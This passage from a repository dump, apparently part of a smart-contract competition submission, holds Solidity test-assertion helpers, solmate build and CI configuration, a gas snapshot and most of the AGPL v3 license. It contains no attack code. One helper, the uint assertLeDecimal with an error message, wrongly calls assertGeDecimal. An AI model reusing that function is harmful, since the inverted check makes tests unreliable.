emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.dapprc
================================================
# Basic build/test configuration.
export DAPP_SOLC_VERSION=0.8.10
export DAPP_BUILD_OPTIMIZE=1
export DAPP_BUILD_OPTIMIZE_RUNS=1000000
export DAPP_LINK_TEST_LIBRARIES=0
export DAPP_TEST_VERBOSITY=1
export DAPP_TEST_SMTTIMEOUT=500000
if [ "$DEEP_FUZZ" = "true" ]
then
export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.
else
export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.
fi
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gas-snapshot
================================================
testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)
testSetAuthorityWithPermissiveAuthority() (gas: 127687)
testFailSetOwnerWithRestrictiveAuthority() (gas: 126166)
testFailCallFunctionAsNonOwner() (gas: 4191)
testSetAuthorityAsOwner() (gas: 23802)
testFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)
testCallFunctionWithPermissiveAuthority() (gas: 125973)
testFailSetAuthorityAsNonOwner() (gas: 6960)
testFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)
testCallFunctionAsOwner() (gas: 21371)
testFailCallFunctionWithRestrictiveAuthority() (gas: 126125)
testSetOwnerWithPermissiveAuthority() (gas: 147508)
testFailSetOwnerAsNonOwner() (gas: 4309)
testSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)
testSetOwnerAsOwner() (gas: 3998)
testFromLast20Bytes() (gas: 191)
testFillLast12Bytes() (gas: 223)
testFailDoubleDeploySameBytecode() (gas: 277076930206699)
testDeployERC20() (gas: 873896)
testFailDoubleDeployDifferentBytecode() (gas: 277076930214885)
testFailBoundMinBiggerThanMax() (gas: 309)
testBound() (gas: 5520)
testFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)
testMintToEOA() (gas: 30265)
testFailMintToNonERC155Recipient() (gas: 71897)
testFailSafeBatchTransferFromToZero() (gas: 805864)
testBatchMintToERC1155Recipient() (gas: 946375)
testApproveAll() (gas: 26509)
testFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)
testFailBatchMintToZero() (gas: 127242)
testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)
testSafeTransferFromToERC1155Recipient() (gas: 1210543)
testFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)
testFailBatchMintToRevertingERC1155Recipient() (gas: 362536)
testBatchBurn() (gas: 146591)
testFailBurnInsufficientBalance() (gas: 30352)
testFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)
testFailMintToRevertingERC155Recipient() (gas: 263148)
testFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)
testFailSafeTransferFromInsufficientBalance() (gas: 579173)
testFailSafeTransferFromToNonERC155Recipient() (gas: 100376)
testFailBatchMintToNonERC1155Recipient() (gas: 171010)
testSafeBatchTransferFromToEOA() (gas: 817122)
testFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)
testBatchMintToEOA() (gas: 132842)
testFailBatchBurnInsufficientBalance() (gas: 131673)
testSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)
testFailBalanceOfBatchWithArrayMismatch() (gas: 4798)
testFailSafeBatchTransferInsufficientBalance() (gas: 682003)
testSafeTransferFromToEOA() (gas: 609087)
testMintToERC1155Recipient() (gas: 612041)
testFailBatchMintWithArrayMismatch() (gas: 5118)
testBatchBalanceOf() (gas: 153798)
testFailSafeTransferFromToZero() (gas: 57667)
testFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)
testBurn() (gas: 34098)
testFailBatchBurnWithArrayLengthMismatch() (gas: 131065)
testFailMintToZero() (gas: 29205)
testSafeTransferFromSelf() (gas: 59828)
testFailMintToWrongReturnDataERC155Recipient() (gas: 263102)
testInfiniteApproveTransferFrom() (gas: 387796)
testApprove() (gas: 26558)
testMetaData() (gas: 6966)
testTransferFrom() (gas: 388134)
testFailTransferFromInsufficientBalance() (gas: 359401)
testFailPermitPastDeadline() (gas: 2197)
testFailPermitReplay() (gas: 59949)
testMint() (gas: 49180)
testFailTransferFromInsufficientAllowance() (gas: 358925)
testTransfer() (gas: 75628)
testBurn() (gas: 52492)
testPermit() (gas: 56782)
testFailTransferInsufficientBalance() (gas: 48240)
testFailPermitBadDeadline() (gas: 30486)
testFailPermitBadNonce() (gas: 30436)
testSafeTransferFromToERC721Recipient() (gas: 908869)
testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 185732)
testApprove() (gas: 96031)
testFailBurnUnMinted() (gas: 3379)
testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 213867)
testFailDoubleMint() (gas: 70935)
testApproveAll() (gas: 26585)
testFailApproveUnAuthorized() (gas: 73181)
testFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 259577)
testFailSafeMintToNonERC721RecipientWithData() (gas: 115867)
testMetadata() (gas: 6492)
testFailTransferFromWrongFrom() (gas: 71032)
testFailSafeMintToRevertingERC721Recipient() (gas: 230626)
testTransferFrom() (gas: 551359)
testFailSafeMintToNonERC721Recipient() (gas: 115042)
testFailDoubleBurn() (gas: 74563)
testFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 184893)
testFailSafeTransferFromToNonERC721Recipient() (gas: 143245)
testMint() (gas: 72701)
testFailApproveUnMinted() (gas: 5694)
testFailTransferFromToZero() (gas: 71031)
testSafeMintToERC721Recipient() (gas: 408375)
testSafeTransferFromToEOA() (gas: 556215)
testSafeMintToEOA() (gas: 75400)
testFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 213093)
testTransferFromApproveAll() (gas: 553534)
testFailTransferFromUnOwned() (gas: 3500)
testFailSafeTransferFromToNonERC721RecipientWithData() (gas: 144048)
testBurn() (gas: 76417)
testFailSafeMintToRevertingERC721RecipientWithData() (gas: 231396)
testFailMintToZero() (gas: 1253)
testFailTransferFromNotOwner() (gas: 75544)
testSafeMintToERC721RecipientWithData() (gas: 429537)
testFailSafeTransferFromToRevertingERC721Recipient() (gas: 258848)
testSafeTransferFromToERC721RecipientWithData() (gas: 930031)
testTransferFromSelf() (gas: 103082)
testFPow() (gas: 1651)
testFailFDivZeroXY() (gas: 316)
testSqrt() (gas: 2492)
testFDiv() (gas: 733)
testFDivEdgeCases() (gas: 581)
testFMulEdgeCases() (gas: 801)
testFailFDivXYB() (gas: 294)
testFailFDivZeroY() (gas: 271)
testFMul() (gas: 669)
testSetRoles() (gas: 33023)
testCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)
testCanCallPublicCapability() (gas: 39631)
testSetTargetCustomAuthority() (gas: 31736)
testCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)
testCanCallWithAuthorizedRole() (gas: 97461)
testSetRoleCapabilities() (gas: 32997)
testCanCallWithCustomAuthority() (gas: 466959)
testSetPublicCapabilities() (gas: 31468)
testNoReentrancy() (gas: 1015)
testProtectedCall() (gas: 23649)
testFailUnprotectedCall() (gas: 30515)
testSetRoles() (gas: 32998)
testCanCallPublicCapability() (gas: 38436)
testCanCallWithAuthorizedRole() (gas: 96267)
testSetRoleCapabilities() (gas: 34588)
testSetPublicCapabilities() (gas: 33244)
testWriteRead() (gas: 53511)
testWriteReadFullStartBound() (gas: 34725)
testFailWriteReadEmptyOutOfBounds() (gas: 34432)
testWriteReadFullBoundedRead() (gas: 53708)
testFailReadInvalidPointer() (gas: 2905)
testFailWriteReadOutOfStartBound() (gas: 34346)
testFailReadInvalidPointerCustomStartBound() (gas: 2982)
testWriteReadEmptyBound() (gas: 34639)
testFailWriteReadOutOfBounds() (gas: 34453)
testWriteReadCustomBounds() (gas: 34853)
testWriteReadCustomStartBound() (gas: 34768)
testFailReadInvalidPointerCustomBounds() (gas: 3143)
testSafeCastTo248() (gas: 433)
testSafeCastTo128() (gas: 455)
testSafeCastTo32() (gas: 432)
testFailSafeCastTo96() (gas: 320)
testSafeCastTo96() (gas: 475)
testFailSafeCastTo64() (gas: 299)
testSafeCastTo64() (gas: 454)
testFailSafeCastTo248() (gas: 298)
testFailSafeCastTo128() (gas: 342)
testFailSafeCastTo32() (gas: 297)
testFailTransferWithReturnsFalse() (gas: 27234)
testApproveWithStandardERC20() (gas: 26417)
testFailTransferFromWithReturnsFalse() (gas: 30377)
testTransferFromWithTransferFromSelf() (gas: 59377)
testFailTransferWithPausable() (gas: 4160)
testApproveWithNonContract() (gas: 3076)
testFailApproveWithPausable() (gas: 1219)
testFailTransferFromWithPausable() (gas: 5312)
testApproveWithMissingReturn() (gas: 26335)
testTransferFromWithMissingReturn() (gas: 59267)
testTransferWithStandardERC20() (gas: 28201)
testTransferFromWithStandardERC20() (gas: 59309)
testTransferFromWithNonContract() (gas: 3104)
testTransferWithMissingReturn() (gas: 28128)
testFailApproveWithReturnsFalse() (gas: 25283)
testTransferETH() (gas: 34636)
testTransferWithNonContract() (gas: 3075)
testApproveWithTransferFromSelf() (gas: 26416)
testTransferWithTransferFromSelf() (gas: 28182)
testFailTransferETHToContractWithoutFallback() (gas: 7222)
testPartialWithdraw() (gas: 68803)
testDeposit() (gas: 58804)
testFallbackDeposit() (gas: 59068)
testWithdraw() (gas: 68737)
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitattributes
================================================
*.sol linguist-language=Solidity
.dapprc linguist-language=Shell
.gas-snapshot linguist-language=Julia
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.github/workflows/tests.yml
================================================
name: Tests
on: [push, pull_request]
jobs:
tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: actions/setup-node@v2
- uses: cachix/install-nix-action@v13
- uses: cachix/cachix-action@v10
with:
name: dapp
- name: Install dependencies
run: nix-shell --run 'make'
- name: Check gas snapshots
run: nix-shell --run 'dapp check-snapshot'
- name: Run tests
run: nix-shell --run 'dapp test'
env:
# Only fuzz deeply if we're pushing to main or this is a PR to main:
DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitignore
================================================
/cache
/node_modules
/out
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.gitmodules
================================================
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
[submodule "lib/weird-erc20"]
path = lib/weird-erc20
url = https://github.com/d-xo/weird-erc20
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.prettierrc
================================================
{
"tabWidth": 2,
"printWidth": 100,
"overrides": [
{
"files": "*.sol",
"options": {
"tabWidth": 4,
"printWidth": 120
}
}
]
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/.vscode/settings.json
================================================
{
"solidity.packageDefaultDependenciesContractsDirectory": "src",
"solidity.packageDefaultDependenciesDirectory": "lib",
"solidity.compileUsingRemoteVersion": "v0.8.10",
"search.exclude": { "lib": true },
"files.associations": {
".dapprc": "shellscript",
".gas-snapshot": "julia"
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/LICENSE
================================================
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
